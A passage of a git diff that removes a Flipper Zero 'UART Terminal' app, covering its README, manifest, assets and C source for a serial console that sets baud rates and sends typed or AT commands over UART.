Zero](https://flipperzero.one/) app to control various devices via UART interface. -## Download fap -| **FW Official** | **FW Unleashed** | -| - | - | -| [![FAP Factory](https://flipc.org/api/v1/cool4uma/UART_Terminal/badge)](https://flipc.org/cool4uma/UART_Terminal) | [![FAP Factory](https://flipc.org/api/v1/cool4uma/UART_Terminal/badge?firmware=unleashed)](https://flipc.org/cool4uma/UART_Terminal?firmware=unleashed) | - -## Capabilities -- Read log and command output by uart -- Send commands by uart -- Set baud rate -- Fast commands - -## Connecting -| Flipper Zero pin | UART interface | -| ---------------- | --------------- | -| 13 TX | RX | -| 14 RX | TX | -|8, 18 GND | GND | - -Info: If possible, do not power your devices from 3V3 (pin 9) Flipper Zero. It does not support hot plugging. - -## Keyboard -UART_terminal uses its own special keyboard for work, which has all the symbols necessary for working in the console. - -To accommodate more characters on a small display, some characters are called up by holding. - -![kbf](https://user-images.githubusercontent.com/122148894/212286637-7063f1ee-c6ff-46b9-8dc5-79a5f367fab1.png) - - -## How to install -Copy the contents of the repository to the applications_user/uart_terminal folder Flipper Zero firmware and build app with the command ./fbt fap_uart_terminal. - -Or use the tool [uFBT](https://github.com/flipperdevices/flipperzero-ufbt) for building applications for Flipper Zero. - - -## How it works - - -![1f](https://user-images.githubusercontent.com/122148894/211161450-6d177638-3bfa-42a8-9c73-0cf3af5e5ca7.jpg) - - -![2f](https://user-images.githubusercontent.com/122148894/211161456-4d2be15b-4a05-4450-a62e-edcaab3772fd.jpg) - - -![4f](https://user-images.githubusercontent.com/122148894/211161461-4507120b-42df-441f-9e01-e4517aa83537.jpg) - -## INFO: - -~60% of the source code is taken from the [Wifi Marauder](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) project. Many thanks to the developers of the Wifi Marauder project. diff --git a/applications/external/uart_terminal/application.fam b/applications/external/uart_terminal/application.fam deleted file mode 100644 index e930ff2f7..000000000 --- a/applications/external/uart_terminal/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="uart_terminal", - name="UART Terminal", - apptype=FlipperAppType.EXTERNAL, - entry_point="uart_terminal_app", - requires=["gui"], - stack_size=1 * 1024, - order=90, - fap_icon="uart_terminal.png", - fap_category="GPIO", - fap_icon_assets="assets", - fap_author="@cool4uma & (some fixes by @xMasterX)", - fap_version="1.0", - fap_description="App to control various devices via UART interface.", -) diff --git a/applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png b/applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png deleted file mode 100644 index 7cc0759a8..000000000 Binary files a/applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png and /dev/null differ diff --git a/applications/external/uart_terminal/assets/KeyBackspace_16x9.png b/applications/external/uart_terminal/assets/KeyBackspace_16x9.png deleted file mode 100644 index 9946232d9..000000000 Binary files a/applications/external/uart_terminal/assets/KeyBackspace_16x9.png and /dev/null differ diff --git a/applications/external/uart_terminal/assets/KeySaveSelected_24x11.png b/applications/external/uart_terminal/assets/KeySaveSelected_24x11.png deleted file mode 100644 index eeb3569d3..000000000 Binary files a/applications/external/uart_terminal/assets/KeySaveSelected_24x11.png and /dev/null differ diff --git a/applications/external/uart_terminal/assets/KeySave_24x11.png b/applications/external/uart_terminal/assets/KeySave_24x11.png deleted file mode 100644 index e7dba987a..000000000 Binary files a/applications/external/uart_terminal/assets/KeySave_24x11.png and /dev/null differ diff --git a/applications/external/uart_terminal/assets/WarningDolphin_45x42.png b/applications/external/uart_terminal/assets/WarningDolphin_45x42.png deleted file mode 100644 index d766ffbb4..000000000 Binary files a/applications/external/uart_terminal/assets/WarningDolphin_45x42.png and /dev/null differ diff --git a/applications/external/uart_terminal/scenes/uart_terminal_scene.c b/applications/external/uart_terminal/scenes/uart_terminal_scene.c deleted file mode 100644 index 451c5d98b..000000000 --- a/applications/external/uart_terminal/scenes/uart_terminal_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "uart_terminal_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const uart_terminal_scene_on_enter_handlers[])(void*) = { -#include "uart_terminal_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const uart_terminal_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "uart_terminal_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const uart_terminal_scene_on_exit_handlers[])(void* context) = { -#include "uart_terminal_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers uart_terminal_scene_handlers = { - .on_enter_handlers = uart_terminal_scene_on_enter_handlers, - .on_event_handlers = uart_terminal_scene_on_event_handlers, - .on_exit_handlers = uart_terminal_scene_on_exit_handlers, - .scene_num = UART_TerminalSceneNum, -}; diff --git a/applications/external/uart_terminal/scenes/uart_terminal_scene.h b/applications/external/uart_terminal/scenes/uart_terminal_scene.h deleted file mode 100644 index c6f4ed4b4..000000000 --- a/applications/external/uart_terminal/scenes/uart_terminal_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) UART_TerminalScene##id, -typedef enum { -#include "uart_terminal_scene_config.h" - UART_TerminalSceneNum, -} UART_TerminalScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers uart_terminal_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "uart_terminal_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "uart_terminal_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "uart_terminal_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/uart_terminal/scenes/uart_terminal_scene_config.h b/applications/external/uart_terminal/scenes/uart_terminal_scene_config.h deleted file mode 100644 index febdce167..000000000 --- a/applications/external/uart_terminal/scenes/uart_terminal_scene_config.h +++ /dev/null @@ -1,3 +0,0 @@ -ADD_SCENE(uart_terminal, start, Start) -ADD_SCENE(uart_terminal, console_output, ConsoleOutput) -ADD_SCENE(uart_terminal, text_input, UART_TextInput) diff --git a/applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c deleted file mode 100644 index 6988c42de..000000000 --- a/applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c +++ /dev/null @@ -1,148 +0,0 @@ -#include "../uart_terminal_app_i.h" - -void uart_terminal_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) { - furi_assert(context); - UART_TerminalApp* app = context; - - // If text box store gets too big, then truncate it - app->text_box_store_strlen += len; - if(app->text_box_store_strlen >= UART_TERMINAL_TEXT_BOX_STORE_SIZE - 1) { - furi_string_right(app->text_box_store, app->text_box_store_strlen / 2); - app->text_box_store_strlen = furi_string_size(app->text_box_store) + len; - } - - // Null-terminate buf and append to text box store - buf[len] = '\0'; - furi_string_cat_printf(app->text_box_store, "%s", buf); - - view_dispatcher_send_custom_event( - app->view_dispatcher, UART_TerminalEventRefreshConsoleOutput); -} - -void uart_terminal_scene_console_output_on_enter(void* context) { - UART_TerminalApp* app = context; - - TextBox* text_box = app->text_box; - text_box_reset(app->text_box); - text_box_set_font(text_box, TextBoxFontText); - if(app->focus_console_start) { - text_box_set_focus(text_box, TextBoxFocusStart); - } else { - text_box_set_focus(text_box, TextBoxFocusEnd); - } - - //Change baudrate /////////////////////////////////////////////////////////////////////////// - if(0 == strncmp("2400", app->selected_tx_string, strlen("2400")) && app->BAUDRATE != 2400) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 2400; - app->uart = uart_terminal_uart_init(app); - } - if(0 == strncmp("9600", app->selected_tx_string, strlen("9600")) && app->BAUDRATE != 9600) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 9600; - app->uart = uart_terminal_uart_init(app); - } - if(0 == strncmp("19200", app->selected_tx_string, strlen("19200")) && app->BAUDRATE != 19200) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 19200; - app->uart = uart_terminal_uart_init(app); - } - if(0 == strncmp("38400", app->selected_tx_string, strlen("38400")) && app->BAUDRATE != 38400) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 38400; - app->uart = uart_terminal_uart_init(app); - } - if(0 == strncmp("57600", app->selected_tx_string, strlen("57600")) && app->BAUDRATE != 57600) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 57600; - app->uart = uart_terminal_uart_init(app); - } - if(0 == strncmp("115200", app->selected_tx_string, strlen("115200")) && - app->BAUDRATE != 115200) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 115200; - app->uart = uart_terminal_uart_init(app); - } - if(0 == strncmp("230400", app->selected_tx_string, strlen("230400")) && - app->BAUDRATE != 230400) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 230400; - app->uart = uart_terminal_uart_init(app); - } - if(0 == strncmp("460800", app->selected_tx_string, strlen("460800")) && - app->BAUDRATE != 460800) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 460800; - app->uart = uart_terminal_uart_init(app); - } - if(0 == strncmp("921600", app->selected_tx_string, strlen("921600")) && - app->BAUDRATE != 921600) { - uart_terminal_uart_free(app->uart); - app->BAUDRATE = 921600; - app->uart = uart_terminal_uart_init(app); - } - ///////////////////////////////////////////////////////////////////////////////////////////////////// - - if(app->is_command) { - furi_string_reset(app->text_box_store); - app->text_box_store_strlen = 0; - - if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) { - const char* help_msg = - "UART terminal for Flipper\n\nI'm in github: cool4uma\n\nThis app is a modified\nWiFi Marauder companion,\nThanks 0xchocolate(github)\nfor great code and app.\n\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - } - - if(app->show_stopscan_tip) { - const char* help_msg = "Press BACK to return\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - } - } - - // Set starting text - for "View Log", this will just be what was already in the text box store - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - - scene_manager_set_scene_state(app->scene_manager, UART_TerminalSceneConsoleOutput, 0); - view_dispatcher_switch_to_view(app->view_dispatcher, UART_TerminalAppViewConsoleOutput); - - // Register callback to receive data - uart_terminal_uart_set_handle_rx_data_cb( - app->uart, uart_terminal_console_output_handle_rx_data_cb); // setup callback for rx thread - - // Send command with CR+LF or newline '\n' - if(app->is_command && app->selected_tx_string) { - if(app->TERMINAL_MODE == 1) { - uart_terminal_uart_tx( - (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); - uart_terminal_uart_tx((uint8_t*)("\r\n"), 2); - } else { - uart_terminal_uart_tx( - (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); - uart_terminal_uart_tx((uint8_t*)("\n"), 1); - } - } -} - -bool uart_terminal_scene_console_output_on_event(void* context, SceneManagerEvent event) { - UART_TerminalApp* app = context; - - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - consumed = true; - } - - return consumed; -} - -void uart_terminal_scene_console_output_on_exit(void* context) { - UART_TerminalApp* app = context; - - // Unregister rx callback - uart_terminal_uart_set_handle_rx_data_cb(app->uart, NULL); -} \ No newline at end of file diff --git a/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c deleted file mode 100644 index 60411b34c..000000000 --- a/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c +++ /dev/null @@ -1,138 +0,0 @@ -#include "../uart_terminal_app_i.h" - -// For each command, define whether additional arguments are needed -// (enabling text input to fill them out), and whether the console -// text box should focus at the start of the output or the end -typedef enum { NO_ARGS = 0, INPUT_ARGS, TOGGLE_ARGS } InputArgs; - -typedef enum { FOCUS_CONSOLE_END = 0, FOCUS_CONSOLE_START, FOCUS_CONSOLE_TOGGLE } FocusConsole; - -#define SHOW_STOPSCAN_TIP (true) -#define NO_TIP (false) - -#define MAX_OPTIONS (9) -typedef struct { - const char* item_string; - const char* options_menu[MAX_OPTIONS]; - int num_options_menu; - const char* actual_commands[MAX_OPTIONS]; - InputArgs needs_keyboard; - FocusConsole focus_console; - bool show_stopscan_tip; -} UART_TerminalItem; - -// NUM_MENU_ITEMS defined in uart_terminal_app_i.h - if you add an entry here, increment it! -const UART_TerminalItem items[NUM_MENU_ITEMS] = { - {"Console", - {"115200", "2400", "9600", "19200", "38400", "57600", "230400", "460800", "921600"}, - 9, - {"115200", "2400", "9600", "19200", "38400", "57600", "230400", "460800", "921600"}, - NO_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"Send command", {""}, 1, {""}, INPUT_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Send AT command", {""}, 1, {"AT"}, INPUT_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Fast cmd", - {"help", "uptime", "date", "df -h", "ps", "dmesg", "reboot", "poweroff"}, - 8, - {"help", "uptime", "date", "df -h", "ps", "dmesg", "reboot", "poweroff"}, - INPUT_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"Help", {""}, 1, {"help"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, -}; - -static void uart_terminal_scene_start_var_list_enter_callback(void* context, uint32_t index) { - furi_assert(context); - UART_TerminalApp* app = context; - - furi_assert(index < NUM_MENU_ITEMS); - const UART_TerminalItem* item = &items[index]; - - const int selected_option_index = app->selected_option_index[index]; - furi_assert(selected_option_index < item->num_options_menu); - app->selected_tx_string = item->actual_commands[selected_option_index]; - app->is_command = (1 <= index); - app->is_custom_tx_string = false; - app->selected_menu_index = index; - app->focus_console_start = (item->focus_console == FOCUS_CONSOLE_TOGGLE) ? - (selected_option_index == 0) : - item->focus_console; - app->show_stopscan_tip = item->show_stopscan_tip; - - bool needs_keyboard = (item->needs_keyboard == TOGGLE_ARGS) ? (selected_option_index != 0) : - item->needs_keyboard; - if(needs_keyboard) { - view_dispatcher_send_custom_event(app->view_dispatcher, UART_TerminalEventStartKeyboard); - } else { - view_dispatcher_send_custom_event(app->view_dispatcher, UART_TerminalEventStartConsole); - } -} - -static void uart_terminal_scene_start_var_list_change_callback(VariableItem* item) { - furi_assert(item); - - UART_TerminalApp* app = variable_item_get_context(item); - furi_assert(app); - - const UART_TerminalItem* menu_item = &items[app->selected_menu_index]; - uint8_t item_index = variable_item_get_current_value_index(item); - furi_assert(item_index < menu_item->num_options_menu); - variable_item_set_current_value_text(item, menu_item->options_menu[item_index]); - app->selected_option_index[app->selected_menu_index] = item_index; -} - -void uart_terminal_scene_start_on_enter(void* context) { - UART_TerminalApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - - variable_item_list_set_enter_callback( - var_item_list, uart_terminal_scene_start_var_list_enter_callback, app); - - VariableItem* item; - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - item = variable_item_list_add( - var_item_list, - items[i].item_string, - items[i].num_options_menu, - uart_terminal_scene_start_var_list_change_callback, - app); - variable_item_set_current_value_index(item, app->selected_option_index[i]); - variable_item_set_current_value_text( - item, items[i].options_menu[app->selected_option_index[i]]); - } - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, UART_TerminalSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, UART_TerminalAppViewVarItemList); -} - -bool uart_terminal_scene_start_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UART_TerminalApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == UART_TerminalEventStartKeyboard) { - scene_manager_set_scene_state( - app->scene_manager, UART_TerminalSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, UART_TerminalAppViewTextInput); - } else if(event.event == UART_TerminalEventStartConsole) { - scene_manager_set_scene_state( - app->scene_manager, UART_TerminalSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, UART_TerminalAppViewConsoleOutput); - } - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - app->selected_menu_index = variable_item_list_get_selected_item_index(app->var_item_list); - consumed = true; - } - - return consumed; -} - -void uart_terminal_scene_start_on_exit(void* context) { - UART_TerminalApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c deleted file mode 100644 index e200ba266..000000000 --- a/applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c +++ /dev/null @@ -1,66 +0,0 @@ -#include "../uart_terminal_app_i.h" - -void uart_terminal_scene_text_input_callback(void* context) { - UART_TerminalApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, UART_TerminalEventStartConsole); -} - -void uart_terminal_scene_text_input_on_enter(void* context) { - UART_TerminalApp* app = context; - - if(false == app->is_custom_tx_string) { - // Fill text input with selected string so that user can add to it - size_t length = strlen(app->selected_tx_string); - furi_assert(length < UART_TERMINAL_TEXT_INPUT_STORE_SIZE); - bzero(app->text_input_store, UART_TERMINAL_TEXT_INPUT_STORE_SIZE); - strncpy(app->text_input_store, app->selected_tx_string, length); - - // Add space - because flipper keyboard currently doesn't have a space - //app->text_input_store[length] = ' '; - app->text_input_store[length + 1] = '\0'; - app->is_custom_tx_string = true; - } - - // Setup view - UART_TextInput* text_input = app->text_input; - // Add help message to header - if(0 == strncmp("AT", app->selected_tx_string, strlen("AT"))) { - app->TERMINAL_MODE = 1; - uart_text_input_set_header_text(text_input, "Send AT command to UART"); - } else { - app->TERMINAL_MODE = 0; - uart_text_input_set_header_text(text_input, "Send command to UART"); - } - uart_text_input_set_result_callback( - text_input, - uart_terminal_scene_text_input_callback, - app, - app->text_input_store, - UART_TERMINAL_TEXT_INPUT_STORE_SIZE, - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, UART_TerminalAppViewTextInput); -} - -bool uart_terminal_scene_text_input_on_event(void* context, SceneManagerEvent event) { - UART_TerminalApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == UART_TerminalEventStartConsole) { - // Point to custom string to send - app->selected_tx_string = app->text_input_store; - scene_manager_next_scene(app->scene_manager, UART_TerminalAppViewConsoleOutput); - consumed = true; - } - } - - return consumed; -} - -void uart_terminal_scene_text_input_on_exit(void* context) { - UART_TerminalApp* app = context; - - uart_text_input_reset(app->text_input); -} diff --git a/applications/external/uart_terminal/uart_terminal.png b/applications/external/uart_terminal/uart_terminal.png deleted file mode 100644 index 8420f5692..000000000 Binary files a/applications/external/uart_terminal/uart_terminal.png and /dev/null differ diff --git a/applications/external/uart_terminal/uart_terminal_app.c b/applications/external/uart_terminal/uart_terminal_app.c deleted file mode 100644 index 2c18c5bae..000000000 --- a/applications/external/uart_terminal/uart_terminal_app.c +++ /dev/null @@ -1,104 +0,0 @@ -#include "uart_terminal_app_i.h" - -#include -#include - -static bool uart_terminal_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - UART_TerminalApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool uart_terminal_app_back_event_callback(void* context) { - furi_assert(context); - UART_TerminalApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void uart_terminal_app_tick_event_callback(void* context) { - furi_assert(context); - UART_TerminalApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -UART_TerminalApp* uart_terminal_app_alloc() { - UART_TerminalApp* app = malloc(sizeof(UART_TerminalApp)); - - app->gui = furi_record_open(RECORD_GUI); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&uart_terminal_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, uart_terminal_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, uart_terminal_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, uart_terminal_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - UART_TerminalAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - app->selected_option_index[i] = 0; - } - - app->text_box = text_box_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, UART_TerminalAppViewConsoleOutput, text_box_get_view(app->text_box)); - app->text_box_store = furi_string_alloc(); - furi_string_reserve(app->text_box_store, UART_TERMINAL_TEXT_BOX_STORE_SIZE); - - app->text_input = uart_text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - UART_TerminalAppViewTextInput, - uart_text_input_get_view(app->text_input)); - - scene_manager_next_scene(app->scene_manager, UART_TerminalSceneStart); - - return app; -} - -void uart_terminal_app_free(UART_TerminalApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, UART_TerminalAppViewVarItemList); - view_dispatcher_remove_view(app->view_dispatcher, UART_TerminalAppViewConsoleOutput); - view_dispatcher_remove_view(app->view_dispatcher, UART_TerminalAppViewTextInput); - text_box_free(app->text_box); - furi_string_free(app->text_box_store); - uart_text_input_free(app->text_input); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - uart_terminal_uart_free(app->uart); - - // Close records - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t uart_terminal_app(void* p) { - UNUSED(p); - UART_TerminalApp* uart_terminal_app = uart_terminal_app_alloc(); - - uart_terminal_app->uart = uart_terminal_uart_init(uart_terminal_app); - - view_dispatcher_run(uart_terminal_app->view_dispatcher); - - uart_terminal_app_free(uart_terminal_app); - - return 0; -} diff --git a/applications/external/uart_terminal/uart_terminal_app.h b/applications/external/uart_terminal/uart_terminal_app.h deleted file mode 100644 index c859d828b..000000000 --- a/applications/external/uart_terminal/uart_terminal_app.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct UART_TerminalApp UART_TerminalApp; - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/uart_terminal/uart_terminal_app_i.h b/applications/external/uart_terminal/uart_terminal_app_i.h deleted file mode 100644 index a0c4bb81f..000000000 --- a/applications/external/uart_terminal/uart_terminal_app_i.h +++ /dev/null @@ -1,50 +0,0 @@ -#pragma once - -#include "uart_terminal_app.h" -#include "scenes/uart_terminal_scene.h" -#include "uart_terminal_custom_event.h" -#include "uart_terminal_uart.h" - -#include -#include -#include -#include -#include -#include "uart_text_input.h" - -#define NUM_MENU_ITEMS (5) - -#define UART_TERMINAL_TEXT_BOX_STORE_SIZE (4096) -#define UART_TERMINAL_TEXT_INPUT_STORE_SIZE (512) -#define UART_CH (FuriHalUartIdUSART1) - -struct UART_TerminalApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - char text_input_store[UART_TERMINAL_TEXT_INPUT_STORE_SIZE + 1]; - FuriString* text_box_store; - size_t text_box_store_strlen; - TextBox* text_box; - UART_TextInput* text_input; - - VariableItemList* var_item_list; - - UART_TerminalUart* uart; - int selected_menu_index; - int selected_option_index[NUM_MENU_ITEMS]; - const char* selected_tx_string; - bool is_command; - bool is_custom_tx_string; - bool focus_console_start; - bool show_stopscan_tip; - int BAUDRATE; - int TERMINAL_MODE; //1=AT mode, 0=other mode -}; - -typedef enum { - UART_TerminalAppViewVarItemList, - UART_TerminalAppViewConsoleOutput, - UART_TerminalAppViewTextInput, -} UART_TerminalAppView; diff --git a/applications/external/uart_terminal/uart_terminal_custom_event.h b/applications/external/uart_terminal/uart_terminal_custom_event.h deleted file mode 100644 index d57d822d1..000000000 --- a/applications/external/uart_terminal/uart_terminal_custom_event.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -typedef enum { - UART_TerminalEventRefreshConsoleOutput = 0, - UART_TerminalEventStartConsole, - UART_TerminalEventStartKeyboard, -} UART_TerminalCustomEvent; diff --git a/applications/external/uart_terminal/uart_terminal_uart.c b/applications/external/uart_terminal/uart_terminal_uart.c deleted file mode 100644 index e906c9e8e..000000000 --- a/applications/external/uart_terminal/uart_terminal_uart.c +++ /dev/null @@ -1,97 +0,0 @@ -#include "uart_terminal_app_i.h" -#include "uart_terminal_uart.h" - -//#define UART_CH (FuriHalUartIdUSART1) -//#define BAUDRATE (115200) - -struct UART_TerminalUart { - UART_TerminalApp* app; - FuriThread* rx_thread; - FuriStreamBuffer* rx_stream; - uint8_t rx_buf[RX_BUF_SIZE + 1]; - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context); -}; - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtRxDone = (1 << 1), -} WorkerEvtFlags; - -void uart_terminal_uart_set_handle_rx_data_cb( - UART_TerminalUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) { - furi_assert(uart); - uart->handle_rx_data_cb = handle_rx_data_cb; -} - -#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) - -void uart_terminal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - UART_TerminalUart* uart = (UART_TerminalUart*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(uart->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone); - } -} - -static int32_t uart_worker(void* context) { - UART_TerminalUart* uart = (void*)context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - if(events & WorkerEvtStop) break; - if(events & WorkerEvtRxDone) { - size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); - if(len > 0) { - if(uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); - } - } - } - - furi_stream_buffer_free(uart->rx_stream); - - return 0; -} - -void uart_terminal_uart_tx(uint8_t* data, size_t len) { - furi_hal_uart_tx(UART_CH, data, len); -} - -UART_TerminalUart* uart_terminal_uart_init(UART_TerminalApp* app) { - UART_TerminalUart* uart = malloc(sizeof(UART_TerminalUart)); - uart->app = app; - // Init all rx stream and thread early to avoid crashes - uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); - uart->rx_thread = furi_thread_alloc(); - furi_thread_set_name(uart->rx_thread, "UART_TerminalUartRxThread"); - furi_thread_set_stack_size(uart->rx_thread, 1024); - furi_thread_set_context(uart->rx_thread, uart); - furi_thread_set_callback(uart->rx_thread, uart_worker); - - furi_thread_start(uart->rx_thread); - - furi_hal_console_disable(); - if(app->BAUDRATE == 0) { - app->BAUDRATE = 115200; - } - furi_hal_uart_set_br(UART_CH, app->BAUDRATE); - furi_hal_uart_set_irq_cb(UART_CH, uart_terminal_uart_on_irq_cb, uart); - - return uart; -} - -void uart_terminal_uart_free(UART_TerminalUart* uart) { - furi_assert(uart); - - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop); - furi_thread_join(uart->rx_thread); - furi_thread_free(uart->rx_thread); - - furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL); - furi_hal_console_enable(); - - free(uart); -} \ No newline at end of file diff --git a/applications/external/uart_terminal/uart_terminal_uart.h b/applications/external/uart_terminal/uart_terminal_uart.h deleted file mode 100644 index ca95c92fb..000000000 --- a/applications/external/uart_terminal/uart_terminal_uart.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include "furi_hal.h" - -#define RX_BUF_SIZE (320) - -typedef struct UART_TerminalUart UART_TerminalUart; - -void uart_terminal_uart_set_handle_rx_data_cb( - UART_TerminalUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); -void uart_terminal_uart_tx(uint8_t* data, size_t len); -UART_TerminalUart* uart_terminal_uart_init(UART_TerminalApp* app); -void uart_terminal_uart_free(UART_TerminalUart* uart); diff --git a/applications/external/uart_terminal/uart_text_input.c b/applications/external/uart_terminal/uart_text_input.c deleted file mode 100644 index 7d400b81e..000000000 --- a/applications/external/uart_terminal/uart_text_input.c +++ /dev/null @@ -1,683 +0,0 @@ -#include "uart_text_input.h" -#include -#include "uart_terminal_icons.h" -#include "uart_terminal_app_i.h" -#include - -struct UART_TextInput { - View* view; - FuriTimer* timer; -}; - -typedef struct { - const char text; - const uint8_t x; - const uint8_t y; -} UART_TextInputKey; - -typedef struct { - const char* header; - char* text_buffer; - size_t text_buffer_size; - bool clear_default_text; - - UART_TextInputCallback callback; - void* callback_context; - - uint8_t selected_row; - uint8_t selected_column; - - UART_TextInputValidatorCallback validator_callback; - void* validator_callback_context; - FuriString* validator_text; - bool valadator_message_visible; -} UART_TextInputModel; - -static const uint8_t keyboard_origin_x = 1; -static const uint8_t keyboard_origin_y = 29; -static const uint8_t keyboard_row_count = 4; - -#define mode_AT "Send AT command to UART" - -#define ENTER_KEY '\r' 